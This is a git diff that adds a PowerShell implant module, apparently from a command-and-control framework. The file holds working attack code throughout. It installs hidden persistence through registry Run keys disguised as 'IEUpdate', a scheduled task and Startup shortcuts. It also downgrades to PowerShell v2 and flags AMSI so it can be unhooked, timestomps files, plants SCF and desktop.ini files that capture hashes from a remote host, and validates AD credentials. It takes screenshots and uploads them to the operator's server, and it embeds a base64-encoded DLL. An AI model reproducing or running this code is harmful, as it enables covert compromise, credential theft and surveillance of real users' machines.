diff --git a/Modules/Implant-Core.ps1 b/Modules/Implant-Core.ps1 new file mode 100644 index 0000000..d6773b9 --- /dev/null +++ b/Modules/Implant-Core.ps1 @@ -0,0 +1,772 @@ +function Test-Wow64() { + return (Test-Win32) -and (test-path env:\PROCESSOR_ARCHITEW6432) +} +function Test-Win64() { + return [IntPtr]::size -eq 8 +} +function Test-Win32() { + return [IntPtr]::size -eq 4 +} +Function Beacon($sleeptime) { + if ($sleeptime.ToLower().Contains('m')) { + $sleeptime = $sleeptime -replace 'm', '' + [int]$newsleep = $sleeptime + [int]$newsleep = $newsleep * 60 + } + elseif ($sleeptime.ToLower().Contains('h')) { + $sleeptime = $sleeptime -replace 'h', '' + [int]$newsleep1 = $sleeptime + [int]$newsleep2 = $newsleep1 * 60 + [int]$newsleep = $newsleep2 * 60 + } + elseif ($sleeptime.ToLower().Contains('s')) { + $newsleep = $sleeptime -replace 's', '' + } else { + $newsleep = $sleeptime + } + $script:sleeptime = $newsleep +} +New-Alias SetBeacon Beacon +Function Turtle($sleeptime) { + if ($sleeptime.ToLower().Contains('m')) { + $sleeptime = $sleeptime -replace 'm', '' + [int]$newsleep = $sleeptime + [int]$newsleep = $newsleep * 60 + } + elseif ($sleeptime.ToLower().Contains('h')) { + $sleeptime = $sleeptime -replace 'h', '' + [int]$newsleep1 = $sleeptime + [int]$newsleep2 = $newsleep1 * 60 + [int]$newsleep = $newsleep2 * 60 + } + elseif ($sleeptime.ToLower().Contains('s')) { + $newsleep = $sleeptime -replace 's', '' + } else { + $newsleep = $sleeptime + } + Start-Sleep $newsleep +} +Function CheckArchitecture +{ + if (Test-Win64) { + Write-Output "64bit implant running on 64bit machine" + } + elseif ((Test-Win32) -and (-Not (Test-Wow64))) { + Write-Output "32bit running on 32bit machine" + } + elseif ((Test-Win32) -and (Test-Wow64)) { + $global:ImpUpgrade = $True + Write-Output "32bit implant running on a 64bit machine, use StartAnotherImplant to upgrade to 64bit" + } + else { + Write-Output "Unknown Architecture Detected" + } + get-process -id $pid -module |%{ if ($_.modulename -eq "amsi.dll") {echo "`n[+] AMSI Detected. Run Unhook-AMSI to unload Anti-Malware Scan Interface (AMSI)"} } +} +Function Get-Proxy { + Get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" +} +Function CheckVersionTwo +{ + $psver = $PSVersionTable.psversion.Major + if ($psver -ne '2') { + Write-Output "`n[+] Powershell version $psver detected. Run Inject-Shellcode with the v2 Shellcode" + Write-Output "[+] Warning AMSI, Constrained Mode, ScriptBlock/Module Logging could be enabled" + } +} +$global:ImpUpgrade = $False +CheckArchitecture +CheckVersionTwo +Function StartAnotherImplant { + if (($p = Get-Process | ? {$_.id -eq $pid}).name -ne "powershell") { + echo "Process is not powershell, try running migrate -x86 or migrate -x64" + } else { + if ($global:ImpUpgrade) { + echo "Start-Process Upgrade via CMD" + start-process -windowstyle hidden cmd -args "/c `"$env:windir\sysnative\windowspowershell\v1.0\$payload`"" + } else { + echo "Start-Process via CMD" + start-process -windowstyle hidden cmd -args "/c $payload" + } + } +} +sal S StartAnotherImplant +sal SAI StartAnotherImplant +sal invoke-smblogin invoke-smbexec +Function Invoke-DowngradeAttack +{ + $payload = $payload -replace "-exec", "-v 2 -exec" + StartAnotherImplant +} +function Test-Administrator +{ + $user = [Security.Principal.WindowsIdentity]::GetCurrent(); + (New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) +} +function Check-Command($cmdname) +{ + return [bool](Get-Command -Name $cmdname -ErrorAction SilentlyContinue) + $error.clear() +} +function EnableRDP +{ + if (Test-Administrator) { + set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 + set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1 + $psver = $PSVersionTable.psversion.Major + if ($psver -ne '2') + { + Get-NetFirewallRule -DisplayName "Remote Desktop*" | Set-NetFirewallRule -enabled true + } else { + netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389 + } + } else { + Write-Output "You are not elevated to Administator " + } +} +function DisableRDP +{ + if (Test-Administrator) { + set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 1 + set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 0 + $psver = $PSVersionTable.psversion.Major + if ($psver -ne '2') + { + Get-NetFirewallRule -DisplayName "Remote Desktop*" | Set-NetFirewallRule -enabled false + } else { + netsh advfirewall firewall del rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389 + } + } else { + Write-Output "You are not elevated to Administator " + } +} +function Write-SCFFile +{ + Param ($IPaddress, $Location) + "[Shell]" >$Location\~T0P0092.jpg.scf + "Command=2" >> $Location\~T0P0092.jpg.scf; + "IconFile=\\$IPaddress\remote.ico" >> $Location\~T0P0092.jpg.scf; + "[Taskbar]" >> $Location\~T0P0092.jpg.scf; + "Command=ToggleDesktop" >> $Location\~T0P0092.jpg.scf; + Write-Output "Written SCF File: $Location\~T0P0092.jpg.scf" +} +function Write-INIFile +{ + Param ($IPaddress, $Location) + "[.ShellClassInfo]" > $Location\desktop.ini + "IconResource=\\$IPAddress\resource.dll" >> $Location\desktop.ini + $a = Get-item $Location\desktop.ini -Force; $a.Attributes="Hidden" + Write-Output "Written INI File: $Location\desktop.ini" +} +Function Install-Persistence +{ + Param ($Method) + if (!$Method){$Method=1} + if ($Method -eq 1) { + Set-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper777 -value "$payload" + Set-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\run\" IEUpdate -value "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\).Wallpaper777" + $registrykey = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\run\" IEUpdate + $registrykey2 = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper777 + if (($registrykey.IEUpdate) -and ($registrykey2.Wallpaper777)) { + Write-Output "Successfully installed persistence: `n Regkey: HKCU\Software\Microsoft\Windows\currentversion\run\IEUpdate `n Regkey2: HKCU\Software\Microsoft\Windows\currentversion\themes\Wallpaper777" + } else { + Write-Output "Error installing persistence" + } + } + if ($Method -eq 2) { + Set-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper555 -value "$payload" + $registrykey = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper555 + schtasks.exe /create /sc minute /mo 240 /tn "IEUpdate" /tr "powershell -exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\).Wallpaper555" + If ($registrykey.Wallpaper555) { + Write-Output "Created scheduled task persistence every 4 hours" + } + } + if ($Method -eq 3) { + Set-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper666 -value "$payload" + $registrykey2 = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper666 + $SourceExe = "powershell.exe" + $ArgumentsToSourceExe = "-exec bypass -Noninteractive -windowstyle hidden -c iex (Get-ItemProperty -Path Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\).Wallpaper666" + $DestinationPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk" + $WshShell = New-Object -comObject WScript.Shell + $Shortcut = $WshShell.CreateShortcut($DestinationPath) + $Shortcut.TargetPath = $SourceExe + $Shortcut.Arguments = $ArgumentsToSourceExe + $Shortcut.WindowStyle = 7 + $Shortcut.Save() + If ((Test-Path $DestinationPath) -and ($registrykey2.Wallpaper666)) { + Write-Output "Created StartUp folder persistence and added RegKey`n Regkey: HKCU\Software\Microsoft\Windows\currentversion\themes\Wallpaper666" + Write-Output " LNK File: $env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\IEUpdate.lnk" + } else { + Write-Output "Error installing StartUp folder persistence" + } + } +} +Function InstallExe-Persistence() { + $SourceEXE = "rundll32.exe" + $ArgumentsToSourceExe = "shell32.dll,ShellExec_RunDLL %temp%\winlogon.exe" + $DestinationPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WinLogon.lnk" + $WshShell = New-Object -comObject WScript.Shell + $Shortcut = $WshShell.CreateShortcut($DestinationPath) + $Shortcut.TargetPath = $SourceEXE + $Shortcut.Arguments = $ArgumentsToSourceExe + $Shortcut.WindowStyle = 7 + $Shortcut.Save() + TimeStomp $DestinationPath "01/03/2008 12:12 pm" + If ((Test-Path $DestinationPath) -and (Test-Path "$env:Temp\Winlogon.exe")) { + Write-Output "Created StartUp file Exe persistence: $DestinationPath" + } else { + Write-Output "Error installing StartUp Exe persistence" + } +} +Function RemoveExe-Persistence() { + $DestinationPath1 = "$env:Temp\winlogon.exe" + Remove-Item -Force $DestinationPath1 + $DestinationPath2 = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WinLogon.lnk" + Remove-Item -Force $DestinationPath2 + TimeStomp $DestinationPath "01/03/2008 12:12 pm" + If ((Test-Path $DestinationPath1) -or ((Test-Path $DestinationPath2))) { + Write-Output "Unable to Remove Persistence" + } else { + Write-Output "Persistence Removed" + } +} +Function Remove-Persistence +{ + Param ($Method) + if (!$Method){$Method=1} + if ($Method -eq 1) { + Remove-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper777 + Remove-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\run\" IEUpdate + $registrykey = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\run\" IEUpdate + $registrykey2 = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper777 + if (($registrykey -eq $null) -and ($registrykey2 -eq $null)) { + Write-Output "Successfully removed persistence from registry!" + $error.clear() + } else { + Write-Output "Error removing persistence, remove registry keys manually!" + $error.clear() + } + if ($Method -eq 2) { + schtasks.exe /delete /tn IEUpdate /F + Remove-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper555 + $registrykey = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper555 + if ($registrykey -eq $null) { + Write-Output "Successfully removed persistence from registry!" + Write-Output "Removed scheduled task persistence" + }else { + Write-Output "Error removing SchTasks persistence" + } + } + if ($Method -eq 3) { + Remove-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper666 + $registrykey = get-ItemProperty -Path "Registry::HKCU\Software\Microsoft\Windows\currentversion\themes\" Wallpaper666 + Remove-Item "$env:APPDATA\Microsoft\Windows\StartMenu\Programs\Startup\IEUpdate.lnk" + If ((Test-Path $DestinationPath) -and ($registrykey.Wallpaper666)) { + Write-Output "Removed StartUp folder persistence" + }else { + Write-Output "Error installing StartUp folder persistence" + } + } +} +} +Function Web-Upload-File +{ + Param + ( + [string] + $From, + [string] + $To + ) + (Get-Webclient).DownloadFile($From,$To) +} +function Unzip($file, $destination) +{ + $shell = new-object -com shell.application + $zip = $shell.NameSpace($file) + foreach($item in $zip.items()) + { + $shell.Namespace($destination).copyhere($item) + } +} +function ConvertFrom-Base64 +{ + param + ( + [string] $SourceFilePath, + [string] $TargetFilePath + ) + + $SourceFilePath = Resolve-PathSafe $SourceFilePath + $TargetFilePath = Resolve-PathSafe $TargetFilePath + + $bufferSize = 90000 + $buffer = New-Object char[] $bufferSize + + $reader = [System.IO.File]::OpenText($SourceFilePath) + $writer = [System.IO.File]::OpenWrite($TargetFilePath) + + $bytesRead = 0 + do + { + $bytesRead = $reader.Read($buffer, 0, $bufferSize); + $bytes = [Convert]::FromBase64CharArray($buffer, 0, $bytesRead); + $writer.Write($bytes, 0, $bytes.Length); + } while ($bytesRead -eq $bufferSize); + + $reader.Dispose() + $writer.Dispose() +} +Function Test-ADCredential +{ + Param($username, $password, $domain) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) + $object = New-Object PSObject | Select Username, Password, IsValid + $object.Username = $username; + $object.Password = $password; + $object.IsValid = $pc.ValidateCredentials($username, $password).ToString(); + return $object +} +Function Get-ScreenshotMulti { + param($Timedelay, $Quantity) + + if ($Quantity -and $Timedelay) { + ForEach ($number in 1..[int]$Quantity ) { + $Output = Get-Screenshot + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null + Start-Sleep $Timedelay + } + } +} +Function Get-Screenshot +{ + param($File) + + #import libraries + Add-Type -AssemblyName System.Windows.Forms + Add-type -AssemblyName System.Drawing + + # Gather Screen resolution information + $Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen + $Width = $Screen.Width + $Height = $Screen.Height + $Left = $Screen.Left + $Top = $Screen.Top + + # Create bitmap using the top-left and bottom-right bounds + $bitmap = New-Object System.Drawing.Bitmap $Width, $Height + + # Create Graphics object + $graphic = [System.Drawing.Graphics]::FromImage($bitmap) + + # Capture screen + $graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size) + + # Send back as base64 + $msimage = New-Object IO.MemoryStream + + if ($File) { + $bitmap.save($file, "png") + } else { + $bitmap.save($msimage, "png") + $b64 = [Convert]::ToBase64String($msimage.toarray()) + } + return $b64 +} +$psloadedscreen = $null +function Get-ScreenshotAllWindows { + + if ($psloadedscreen -ne "TRUE") { + $script:psloadedscreen = "TRUE" + $ps = "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AFZhbHVlVHlwZQBDYXB0dXJlAEVudW1XaW5kb3dTdGF0aW9uc0RlbGVnYXRlAEVudW1EZXNrdG9wc0RlbGVnYXRlAEVudW1EZXNrdG9wV2luZG93c0RlbGVnYXRlAE11bHRpY2FzdERlbGVnYXRlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtLkRyYXdpbmcAZ2V0X1dpZHRoAG5XaWR0aAB3aWR0aABBc3luY0NhbGxiYWNrAGNhbGxiYWNrAGdkaTMyLmRsbABVc2VyMzIuZGxsAHVzZXIzMi5kbGwAU2NyZWVuc2hvdC5kbGwAbFBhcmFtAFN5c3RlbQBCb3R0b20AU2NyZWVuAENhcHR1cmVSZWdpb24AcmVnaW9uAFVuaW9uAHdpblN0YXRpb24Ad2luZG93c1N0YXRpb24AQ2xvc2VXaW5kb3dTdGF0aW9uAE9wZW5XaW5kb3dTdGF0aW9uAEdldFByb2Nlc3NXaW5kb3dTdGF0aW9uAFNldFByb2Nlc3NXaW5kb3dTdGF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAARnJvbUhiaXRtYXAAZHdSb3AAZ2V0X1RvcABDYXB0dXJlRGVza3RvcABDbG9zZURlc2t0b3AAaERlc2t0b3AAT3BlbkRlc2t0b3AAT3BlbklucHV0RGVza3RvcABkZXNrdG9wAFN0cmluZ0J1aWxkZXIAaHduZENoaWxkQWZ0ZXIALmN0b3IAR3JhcGhpY3MAR2V0U3lzdGVtTWV0cmljcwBTeXN0ZW0uRGlhZ25vc3RpY3MAZ2V0X0JvdW5kcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBuRmxhZ3MAU3lzdGVtLldpbmRvd3MuRm9ybXMAZ2V0X0FsbFNjcmVlbnMARW51bVdpbmRvd1N0YXRpb25zAEVudW1EZXNrdG9wcwBscHN6Q2xhc3MAbmVlZEFjY2VzcwBFbnVtRGVza3RvcFdpbmRvd3MAR2V0V2luZG93UmVjdABEZWxldGVPYmplY3QAaE9iamVjdABTZWxlY3RPYmplY3QAb2JqZWN0AHJlY3QAZ2V0X0xlZnQAUmlnaHQAZ2V0X0hlaWdodABuSGVpZ2h0AGZJbmhlcml0AEJpdEJsdABJQXN5bmNSZXN1bHQAcmVzdWx0AGh3bmRQYXJlbnQAbk1heENvdW50AFNjcmVlbnNob3QAaGRjRGVzdABueERlc3QAbnlEZXN0AFN5c3RlbS5UZXh0AGxwV2luZG93VGV4dABHZXRXaW5kb3dUZXh0AEZpbmRXaW5kb3cAR2V0RGVza3RvcFdpbmRvdwBQcmludFdpbmRvdwBscHN6V2luZG93AEZpbmRXaW5kb3dFeAB3b3JraW5nQXJlYU9ubHkARW1wdHkAAAAAAMgUTmDMAYJGtc9up0YeCB0ABCABAQgDIAABBSABARERBCABAQ4EIAEBAgkHBhgYGBgYEkEDIAAIBQABEkEYCgcEEUUdEkkIEkkDBhFFBQAAHRJJBCAAEUUIAAIRRRFFEUUFBwIRDBgFIAIBCAgGAAESZRJhAyAAGAQgAQEYCLd6XFYZNOCJCLA/X38R1Qo6BCAAzAAEAAAAQAQAAAACBH8DAAABAgEWAgYIAgYJDAAJAhgICAgIGAgICAYAAxgYCAgEAAEYGAMAABgFAAICGBgFAAIYGBgGAAESQRFFBAAAEkEFAAESQQIFAAIYDg4HAAQYGBgODgcAAhgYEBEMBgADAhgYCQQAAQgIBgACAhIQGAQAAQIYBgADGA4CCQcAAwIYEhQYBwAEGA4JAgkGAAMYCQIJBwADAhgSGBgHAAMIGBJNCAYAAhgYEBgFIAIBHBgFIAICDhgJIAQSWQ4YEl0cBSABAhJZBSACAhgICSAEElkYCBJdHAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAPAQAKU2NyZWVuc2hvdAAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAxNwAAKQEAJDQyNGIyMjY4LTY0MzctNDgyNy1iMDVjLTNmNmMyN2ZjMGY0MgAADAEABzEuMC4wLjAAAAAAAAAAAABJzkZaAAAAAAIAAAAcAQAA7DMAAOwVAABSU0RTbxrdln4JwUiXVZw4MAy/MAEAAABDOlxVc2Vyc1xhZG1pblxzb3VyY2VccmVwb3NcU2NyZWVuc2hvdFxTY3JlZW5zaG90XG9ialxSZWxlYXNlXFNjcmVlbnNob3QucGRiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADA1AAAAAAAAAAAAAEo1AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8NQAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA